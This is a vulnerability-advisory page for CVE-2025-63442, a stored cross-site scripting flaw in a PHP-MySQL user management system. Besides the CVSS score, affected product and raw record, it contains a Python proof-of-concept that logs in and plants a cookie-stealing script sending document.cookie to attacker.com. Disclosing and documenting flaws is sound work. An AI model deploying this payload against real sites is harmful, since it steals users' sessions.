Security Vulnerability Report
中文
CVE-2025-63442 CVSS 4.6 MEDIUM

CVE-2025-63442

Published: 2025-11-03 15:15:36
Last Modified: 2025-11-05 18:18:24

Description

Simple User Management System with PHP-MySQL v1.0 is vulnerable to Cross-Site Scripting (XSS) via the Profile Section. The system fails to properly sanitize user input, allowing attackers to inject and execute arbitrary JavaScript when the input is displayed in the browser

CVSS Details

CVSS Score
4.6
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:nababur:simple-user-management-system:1.0:*:*:*:*:*:*:* - VULNERABLE
Simple User Management System with PHP-MySQL v1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-63442 PoC - Stored XSS in Profile Section # Target: Simple User Management System with PHP-MySQL v1.0 TARGET_URL = "http://target-website.com" # Replace with actual target LOGIN_URL = f"{TARGET_URL}/login.php" PROFILE_URL = f"{TARGET_URL}/profile.php" UPDATE_URL = f"{TARGET_URL}/update_profile.php" # XSS Payload - Cookie Stealer XSS_PAYLOAD = "<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>" def exploit(): """ Exploitation steps: 1. Login with low-privilege user account 2. Navigate to profile editing section 3. Inject XSS payload in profile fields 4. Save the profile - payload is stored in database 5. When any user views the profile, XSS executes """ session = requests.Session() # Step 1: Login login_data = { 'username': 'attacker_user', 'password': 'password123' } response = session.post(LOGIN_URL, data=login_data) if 'login' in response.url.lower(): print("[-] Login failed") return False print("[+] Login successful") # Step 2 & 3: Inject XSS payload in profile fields profile_data = { 'fullname': XSS_PAYLOAD, 'bio': '<img src=x onerror=alert(document.cookie)>', 'email': '[email protected]', 'action': 'update' } response = session.post(UPDATE_URL, data=profile_data) if response.status_code == 200: print("[+] XSS payload injected successfully") print(f"[+] Payload stored in profile field") print(f"[+] Payload: {XSS_PAYLOAD}") print("[+] Any user viewing this profile will trigger the XSS") return True else: print("[-] Failed to inject payload") return False if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63442", "sourceIdentifier": "[email protected]", "published": "2025-11-03T15:15:36.303", "lastModified": "2025-11-05T18:18:24.413", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Simple User Management System with PHP-MySQL v1.0 is vulnerable to Cross-Site Scripting (XSS) via the Profile Section. The system fails to properly sanitize user input, allowing attackers to inject and execute arbitrary JavaScript when the input is displayed in the browser"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nababur:simple-user-management-system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "265EAEFA-3833-4867-974B-F0CC300CF57B"}]}]}], "references": [{"url": "https://github.com/sanin-s1r3n/CVE-Research/blob/main/CVE-5", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}